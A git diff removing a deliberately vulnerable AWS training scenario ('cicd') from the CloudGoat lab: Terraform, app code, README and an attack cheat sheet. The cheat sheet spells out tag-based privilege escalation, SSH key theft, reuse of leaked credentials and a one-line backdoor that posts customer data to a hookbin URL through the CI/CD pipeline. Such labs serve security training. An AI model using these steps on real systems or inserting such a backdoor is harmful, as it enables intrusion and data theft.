diff --git a/README.md b/README.md index 8e617d7d..0c1d3369 100644 --- a/README.md +++ b/README.md @@ -224,18 +224,6 @@ Alternatively, the attacker may explore SSM parameters and find SSH keys to an E [Visit Scenario Page.](scenarios/codebuild_secrets/README.md) -### cicd (Medium / Moderate) - -`$ ./cloudgoat.py create cicd` - -FooCorp is a company exposing a public-facing API. Customers of FooCorp submit sensitive data to the API every minute. The API is implemented as a Lambda function, exposed through an API Gateway. Because FooCorp implements DevOps, it has a continuous deployment pipeline automatically deploying new versions of their Lambda function from source code to production in under a few minutes. - -Your goal: steal the sensitive data submitted by FooCorp customers! - -Contributed by Datadog. - -[Visit Scenario Page.](scenarios/cicd/README.md) - ### detection_evasion (Medium / Hard) `$ ./cloudgoat.py create detection_evasion` diff --git a/scenarios/cicd/README.md b/scenarios/cicd/README.md deleted file mode 100644 index 2244ecd0..00000000 --- a/scenarios/cicd/README.md +++ /dev/null @@ -1,71 +0,0 @@ -# Scenario: cicd - -**Size:** Medium - -**Difficulty:** Moderate - -**Command:** `$ ./cloudgoat.py create cicd` - -## Scenario Resources - -* 3 IAM users -* 1 VPC with 1 EC2 instance -* 1 API Gateway -* 1 Lambda function -* 1 ECR image -* 2 CodeBuild project (and an additional out of scope) - -## Scenario Start - -You are provided with the access key ID and secret access key of an initial IAM user. - -## Scenario Story - -FooCorp is a company exposing a public-facing API. Customers of FooCorp submit sensitive data to the API every minute to the following API endpoint: - -``` -POST {apiUrl}/prod/hello -Host: {apiHost} -Content-Type: text/html - -superSecretData=... -``` - -The API is implemented as a Lambda function, exposed through an API Gateway. - -Because FooCorp implements DevOps, it has a continuous deployment pipeline automatically deploying new versions of their Lambda function from source code to production in under a few minutes. - -## Scenario Goal - -Retrieve the sensitive data submitted by customers. - -Note that simulated user activity is taking place in the account. This is implemented through a CodeBuild project running every minute and simulating customers requests to the API. This CodeBuild project is out of scope. - -## Summary - -
- Spoiler warning - - You get access to an initial AWS access key. Escalate your privileges by overwriting the tag of an EC2 instance used for attribute-based access control. Steal the SSH key on the instance, and use it to clone a CodeCommit repository. Go through the commit history, and find a new set of AWS credentials. Use them to backdoor the application and steal the sensitive data. - -
- -## Route Walkthrough - -A cheat sheet for this route is available [here](./cheat_sheet.md). - -## End-to-end tests - -This scenario has end-to-end testing using [Terratest](https://terratest.gruntwork.io/). The tests will: - -1. Spin up the environment through Terraform instrumentation -2. Unroll the compromission scenario to ensure it is working -3. Tear down the environment - -To run, you'll need to have [Golang installed](https://go.dev/doc/install). use: - -``` -cd terraform/test -go get . -go test -v -``` \ No newline at end of file diff --git a/scenarios/cicd/assets/cd-pipeline/buildspec.yml b/scenarios/cicd/assets/cd-pipeline/buildspec.yml deleted file mode 100644 index f3b776f0..00000000 --- a/scenarios/cicd/assets/cd-pipeline/buildspec.yml +++ /dev/null @@ -1,6 +0,0 @@ -version: 0.2 -phases: - build: - commands: - - echo "Updating Lambda function to use the latest Docker image version" - - aws lambda update-function-code --function-name $LAMBDA_FUNCTION_NAME --image-uri $ECR_REPOSITORY:latest \ No newline at end of file diff --git a/scenarios/cicd/assets/dev-machine/provision.sh b/scenarios/cicd/assets/dev-machine/provision.sh deleted file mode 100755 index 5a1df42f..00000000 --- a/scenarios/cicd/assets/dev-machine/provision.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -mkdir -p /home/ssm-user/.ssh -cat > /home/ssm-user/.ssh/id_rsa < - curl $API_URL/hello -XPOST -H "Content-Type: text/html" -d"superSecretData=$secret" \ No newline at end of file diff --git a/scenarios/cicd/assets/src/.gitignore b/scenarios/cicd/assets/src/.gitignore deleted file mode 100644 index 6d8cb328..00000000 --- a/scenarios/cicd/assets/src/.gitignore +++ /dev/null @@ -1 +0,0 @@ -buildspec.old.yml diff --git a/scenarios/cicd/assets/src/Dockerfile b/scenarios/cicd/assets/src/Dockerfile deleted file mode 100644 index d6427ba5..00000000 --- a/scenarios/cicd/assets/src/Dockerfile +++ /dev/null @@ -1,5 +0,0 @@ -FROM public.ecr.aws/lambda/python:3.8 -COPY app.py ${LAMBDA_TASK_ROOT} -COPY requirements.txt . -RUN pip3 install -r requirements.txt --target "${LAMBDA_TASK_ROOT}" -CMD ["app.handler"] diff --git a/scenarios/cicd/assets/src/app.py b/scenarios/cicd/assets/src/app.py deleted file mode 100644 index 10e7da5e..00000000 --- a/scenarios/cicd/assets/src/app.py +++ /dev/null @@ -1,22 +0,0 @@ -import sys -import json - -def handle(event): - body = event.get('body') - if body is None: - return 400, "missing body" - - if 'superSecretData=' not in body: - return 400, "missing superSecretData" - - return 200, "OK" - -def handler(event, context): - statusCode, responseBody = handle(event) - return { - "isBase64Encoded": False, - "statusCode": statusCode, - "headers": {}, - "multiValueHeaders": {}, - "body": json.dumps({'message': responseBody}) - } \ No newline at end of file diff --git a/scenarios/cicd/assets/src/buildspec.yml b/scenarios/cicd/assets/src/buildspec.yml deleted file mode 100644 index 4beaa616..00000000 --- a/scenarios/cicd/assets/src/buildspec.yml +++ /dev/null @@ -1,20 +0,0 @@ -version: 0.2 -phases: - pre_build: - commands: - - echo "Authenticating to ECR" - - aws ecr get-login-password | docker login $ECR_REPOSITORY --username AWS --password-stdin - build: - commands: - - echo "Building Docker image" - - docker build . -t $ECR_REPOSITORY:latest - post_build: - commands: - - echo "Pushing Docker image to ECR" - - docker push $ECR_REPOSITORY:latest - # For some reason, AWS really wants us to have build outputs - - echo ok > build_output - -artifacts: - files: - - build_output \ No newline at end of file diff --git a/scenarios/cicd/assets/src/requirements.txt b/scenarios/cicd/assets/src/requirements.txt deleted file mode 100644 index 663bd1f6..00000000 --- a/scenarios/cicd/assets/src/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests \ No newline at end of file diff --git a/scenarios/cicd/cheat_sheet.md b/scenarios/cicd/cheat_sheet.md deleted file mode 100644 index 19544261..00000000 --- a/scenarios/cicd/cheat_sheet.md +++ /dev/null @@ -1,136 +0,0 @@ - - -## Step 1 - -You are given credentials of an initial IAM user. - -Using the AWS CLI or AWS Console (e.g. using `aws-vault add initial` then `aws-vault login initial --no-session`), note that the IAM policy attached to your user allows it to establish a SSM session on all EC2 instances tagged with `Environment=sandbox`, and to manage tags of all EC2 instances tagged with `Environment=dev`. - -Check the running EC2 instances. You notice one is tagged with `Environment=dev`, and you therefore can't SSM to it. Instead, overwrite the `Environment` tag with the value `sandbox`, then establish a SSM session to the instance: - -``` -aws ec2 create-tags --resources i-xxxx --tags Key=Environment,Value=sandbox -aws ssm start-session --target i-xxxx -``` - -If ssm start-session does not work make sure to install the ssm [session-manager plugin](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html). - -## Step 2 - -On the instance, notice the private SSH key stored at `/home/ssm-user/.ssh/id_rsa`. - -![Screen Shot 2022-06-21 at 6 29 59 PM](https://user-images.githubusercontent.com/4079939/174924027-54c04c15-a025-40f6-b0ba-be3d143be3d3.png) - -- Copy the SSH key to your local machine (`~/.ssh/stolen_key`) and run `chmod 600 ~/.ssh/stolen_key` on it. - -Next you can extract the corresponding public key fingerprint to notice it is linked to the CodeCommit credentials of the IAM user `cloner`, who has the permission `codecommit:GitPull` on a repository: - -``` -$ chmod 600 ~/.ssh/stolen_key -$ ssh-keygen -f ~/.ssh/stolen_key -l -E md5 -2048 MD5:c8:86:28:03:a1:d5:af:77:2c:62:6a:73:59:69:c6:ba no comment (RSA) - -$ aws iam list-ssh-public-keys --user-name cloner -{ - "SSHPublicKeys": [ - { - "UserName": "cloner", - "SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ", - "Status": "Active", - "UploadDate": "2021-12-27T10:34:19+00:00" - } - ] -} -$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id --encoding PEM --output text --query 'SSHPublicKey.Fingerprint' -c8:86:28:03:a1:d5:af:77:2c:62:6a:73:59:69:c6:ba -``` - -## Step 3 - -Set up your local environment to clone the repository using the [CodeCommit documentation](https://docs.aws.amazon.com/codecommit/latest/userguide/setting-up-ssh-unixes.html). In short: - - -- Find the CodeCommit user ID of `cloner` using `aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId'` - -- Use the following SSH configuration (in your `.ssh/config`): - -``` -Host git-codecommit.*.amazonaws.com - IdentityFile ~/.ssh/stolen_key - PubkeyAcceptedAlgorithms +ssh-rsa - HostkeyAlgorithms +ssh-rsa -``` - -- Then, clone the repository using `git clone ssh://@git-codecommit.us-west-2.amazonaws.com/v1/repos/backend-api` (where `SSH-KEY-ID` should look like `APKA2...`) - -## Step 4 - -The repository contains the backend code of the Lambda function exposed through the API gateway. Check the commit history to note a leaked access key: - -```diff -commit 576bc9e2979cb780dacefa1cf758dabb29f6b223 -Author: christophe -Date: Mon Dec 27 10:38:31 2021 +0000 - - Use built-in AWS authentication instead of hardcoded keys - -diff --git a/buildspec.yml b/buildspec.yml -index 7130465..4beaa61 100644 ---- a/buildspec.yml -+++ b/buildspec.yml -@@ -1,22 +1,20 @@ -- version: 0.2 -+version: 0.2 - phases: - pre_build: - commands: -- - export AWS_ACCESS_KEY_ID=AKIA... -- - export AWS_SECRET_ACCESS_KEY=hnOVW...dtX - - echo "Authenticating to ECR" -``` - -## Step 5 - -These credentials you found belong to the user `developer`, who has pull and push access to this repository. Use this access to backdoor the application and steal the sensitive data that customers are sending to the API! - -- For instance, add a piece of code to the checked out repo that sends the secret data to an attacker-controlled server. You can use something similar to what is shown below, if you do, you'll want to first generate your own hookbin link at https://hookbin.com/. - -```diff -diff --git a/app.py b/app.py -index 10e7da5..e17a2ba 100644 ---- a/app.py -+++ b/app.py -@@ -3,6 +3,7 @@ import json - - def handle(event): - body = event.get('body') -+ import requests; requests.post("https://hookbin.com/kx...", data=body) - if body is None: - return 400, "missing body" -``` - - - -- Ensure the credentials you found above are set in your environment or a profile. - -``` -export AWS_ACCESS_KEY_ID=AKIA... -export AWS_SECRET_ACCESS_KEY=hnOVW...dtX -``` - -- You can then commit the file and push it with the following AWS command: - -``` -$ aws codecommit get-branch --repository-name backend-api --branch-name master -{ - "branch": { - "branchName": "master", - "commitId": "e6a2c7...." - } -} - -$ aws codecommit put-file --repository-name backend-api --branch-name master --file-content fileb://./app.py --file-path app.py --parent-commit-id -``` - - -Note that the application is automatically being built by a CI/CD pipeline in CodePipeline. It may take a bit to deploy, give it some time and you should see the flag show up on hookbin if you used the method above (you may need to refresh the page though). diff --git a/scenarios/cicd/manifest.yml b/scenarios/cicd/manifest.yml deleted file mode 100644 index 5394e27b..00000000 --- a/scenarios/cicd/manifest.yml +++ /dev/null @@ -1,20 +0,0 @@ ---- -# The name of the scenario, alpha-numeric characters only, and underscore-separated -- name: cicd -# The name of the author(s), comma separated -- author: Datadog -# The version of the scenario, where major versions are breaking changes and minor are small fixes. -- version: 1.0 -# Text displayed to the user when they type "{{ scenario_name }} help" -- help: | - FooCorp is a company exposing a public-facing API. - Customers of FooCorp submit sensitive data to the API every minute. - The API is implemented as a Lambda function, exposed through an API Gateway. - Because FooCorp implements DevOps, it has a continuous deployment pipeline - automatically deploying new versions of their Lambda function from source - code to production in under a few minutes. - - Your goal: steal the sensitive data submitted by FooCorp customers! - -# Records the date upon which this scenario was last updated, in MM-DD-YYYY format -- last-updated: 12-28-2021 diff --git a/scenarios/cicd/start.sh b/scenarios/cicd/start.sh deleted file mode 100755 index cc1f786e..00000000 --- a/scenarios/cicd/start.sh +++ /dev/null @@ -1 +0,0 @@ -#!/bin/bash \ No newline at end of file diff --git a/scenarios/cicd/terraform/apigateway.tf b/scenarios/cicd/terraform/apigateway.tf deleted file mode 100644 index 71908b92..00000000 --- a/scenarios/cicd/terraform/apigateway.tf +++ /dev/null @@ -1,42 +0,0 @@ -resource "aws_apigatewayv2_api" "apigw" { - name = local.api_gateway_name - protocol_type = "HTTP" -} - -resource "aws_apigatewayv2_integration" "lambda" { - api_id = aws_apigatewayv2_api.apigw.id - integration_type = "AWS_PROXY" - - connection_type = "INTERNET" - integration_method = "POST" - integration_uri = module.lambda_function_container_image.lambda_function_invoke_arn - payload_format_version = "1.0" - passthrough_behavior = "WHEN_NO_MATCH" -} - -resource "aws_apigatewayv2_route" "main_route" { - api_id = aws_apigatewayv2_api.apigw.id - route_key = "POST ${local.api_gateway_route}" - authorization_type = "NONE" - target = "integrations/${aws_apigatewayv2_integration.lambda.id}" - - request_parameter { - request_parameter_key = "route.request.header.Authorization" - required = false - } -} - -resource "aws_apigatewayv2_deployment" "example" { - api_id = aws_apigatewayv2_route.main_route.api_id - description = "Main deployment" - - lifecycle { - create_before_destroy = true - } -} - -resource "aws_apigatewayv2_stage" "prod" { - api_id = aws_apigatewayv2_api.apigw.id - deployment_id = aws_apigatewayv2_deployment.example.id - name = "prod" -} \ No newline at end of file diff --git a/scenarios/cicd/terraform/codebuild_build.tf b/scenarios/cicd/terraform/codebuild_build.tf deleted file mode 100644 index 5d3d2407..00000000 --- a/scenarios/cicd/terraform/codebuild_build.tf +++ /dev/null @@ -1,119 +0,0 @@ -resource "aws_codebuild_project" "build-docker-image" { - name = "build-docker-image" - service_role = aws_iam_role.build-docker-image.arn - - artifacts { - type = "NO_ARTIFACTS" - } - - environment { - compute_type = "BUILD_GENERAL1_SMALL" - privileged_mode = true - image = "aws/codebuild/amazonlinux2-x86_64-standard:3.0" - type = "LINUX_CONTAINER" - - environment_variable { - name = "ECR_REPOSITORY" - value = aws_ecr_repository.app.repository_url - } - } - - source { - type = "CODECOMMIT" - location = aws_codecommit_repository.code.clone_url_http - } -} - - -resource "aws_iam_role" "build-docker-image" { - name = "build-docker-image-role" - - assume_role_policy = < "${local.src_path}/buildspec.old.yml" </dev/null); - statusCode=$?; - done -BASH - } - - -} - -resource "aws_ecr_repository" "app" { - name = local.ecr_repository_name - image_tag_mutability = "MUTABLE" - force_delete = true -} - diff --git a/scenarios/cicd/terraform/simulate_user_activity.tf b/scenarios/cicd/terraform/simulate_user_activity.tf deleted file mode 100644 index f3c68b15..00000000 --- a/scenarios/cicd/terraform/simulate_user_activity.tf +++ /dev/null @@ -1,127 +0,0 @@ -# Scheduling -resource "aws_iam_role" "simulate-user-activity-scheduling" { - name = "simulate-user-activity-scheduling-role" - - assume_role_policy = < build_output - -artifacts: - files: - - build_output \ No newline at end of file